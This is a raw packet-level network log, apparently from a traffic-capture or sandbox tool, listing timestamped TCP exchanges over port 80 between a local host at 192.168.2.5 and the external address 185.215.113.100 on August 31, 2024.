Aug 31, 2024 10:14:12.865732908 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.865744114 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.865757942 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.865775108 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.865791082 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.865829945 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.865830898 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.865839958 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.865869999 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.865880966 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.866175890 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.866183996 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.866194963 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.866216898 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.866216898 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.866235971 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.866252899 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.866262913 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.866267920 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.866281033 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.866295099 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.866307974 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.866307974 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.866317034 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.866321087 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.866345882 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.866358995 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.866588116 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.866600037 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.866627932 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.866630077 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.866637945 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.866666079 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.866662025 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.866678953 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.866693020 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.866695881 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.866705894 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.866728067 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.866736889 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.866763115 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.866772890 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.866790056 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.866800070 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.866820097 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.866827965 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.866835117 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.866841078 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.866852045 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.866862059 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.866869926 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.866879940 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.866889954 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.866909027 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.866967916 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.866977930 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.866997004 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.867008924 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.867017984 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.867038965 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.867120028 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.867142916 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.867155075 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.867161989 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.867173910 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.867181063 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.867196083 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.867214918 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.867258072 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.867285967 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.867296934 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.867306948 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.867317915 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.867320061 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.867326975 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.867336988 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.867352962 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.867376089 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.867475033 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.867486954 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.867507935 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.867517948 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.867532969 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.867556095 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.867728949 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.867742062 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.867762089 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.867770910 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.867785931 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.867801905 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.867856979 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.867867947 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.867888927 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.867898941 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.867909908 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.867923975 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.868002892 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.868012905 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.868032932 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.868042946 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.868046999 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.868079901 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.868099928 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.868113041 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.868136883 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.868145943 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.868155956 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.868169069 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.868485928 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.868496895 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.868516922 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.868525028 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.868544102 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.868557930 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.868715048 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.868725061 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.868743896 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.868755102 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.868757010 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.868767023 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.868777990 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.868786097 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.868788958 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.868801117 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.868824005 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.869008064 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.869018078 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.869038105 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.869048119 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.869101048 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.869103909 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.869112015 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.869129896 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.869142056 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.869168043 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.869354010 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.869364977 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.869390965 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.869395018 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.869415045 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.869420052 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.869426012 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.869431019 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.869447947 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.869472980 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.869472980 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.869481087 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.869519949 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.869530916 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.869556904 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.869565010 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.869584084 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.869592905 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.869761944 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.869772911 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.869788885 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.869798899 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.869813919 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.869816065 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.869823933 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.869827986 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.869847059 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.869857073 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.869863033 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.869864941 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.869887114 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.869899035 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.012613058 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.012625933 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.012646914 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.012664080 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.012680054 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.012690067 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.012691021 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.012715101 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.012727022 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.012737036 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.012741089 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.012751102 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.012763977 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.012765884 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.012784958 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.012794018 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.012803078 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.012805939 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.012824059 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.012834072 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.012860060 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.012860060 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.012871027 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.012891054 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.012900114 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.012902975 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.012926102 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.012953043 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.013082981 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.013120890 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.013123989 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.013129950 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.013154030 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.013160944 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.013178110 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.013191938 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.013261080 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.013269901 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.013298988 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.013356924 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.013367891 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.013396025 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.013397932 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.013407946 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.013420105 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.013432026 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.013441086 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.013442993 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.013449907 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.013463020 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.013465881 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.013484001 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.013490915 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.013500929 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.013523102 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.013529062 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.013564110 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.013573885 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.013585091 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.013607025 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.013611078 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.013628960 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.013637066 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.013684034 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.013699055 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.013717890 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.013720036 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.013737917 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.013751030 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.013823986 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.013865948 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.013871908 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.013875008 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.013905048 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.013916016 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.014225960 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.014238119 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.014272928 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.014281034 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.014283895 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.014303923 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.014311075 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.014350891 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.014350891 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.014748096 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.014759064 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.014786005 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.014796019 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.014807940 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.014820099 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.014827013 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.014854908 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.014903069 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.014913082 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.014934063 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.014945030 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.014945030 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.014965057 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.014972925 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.014997005 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.015007973 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.057583094 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.062330961 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.334460974 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.334538937 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.334583998 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.334631920 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.335937023 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.335947037 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.335967064 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.336002111 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.336009979 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.336019993 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.336038113 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.336047888 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.336067915 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.336071014 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.336092949 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.336093903 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.336116076 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.336117029 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.336133957 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.336139917 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.336149931 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.336153030 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.336170912 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.336175919 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.336180925 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.336194038 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.336205959 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.336216927 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.336224079 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.336229086 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.336236954 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.336246014 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.336246014 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.336263895 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.336277008 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.336389065 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.336414099 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.336422920 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.336431980 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.336464882 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.336467028 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.336496115 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.336507082 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.336507082 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.336533070 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.336553097 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.336553097 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.336565018 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.336586952 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.336596012 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.336596012 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.336608887 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.336615086 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.336623907 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.336637020 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.336647034 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.336657047 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.336685896 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.336869001 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.336909056 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.336925983 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.336935043 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.336955070 CEST	80	49704	185.215.113.100	192.168.2.5
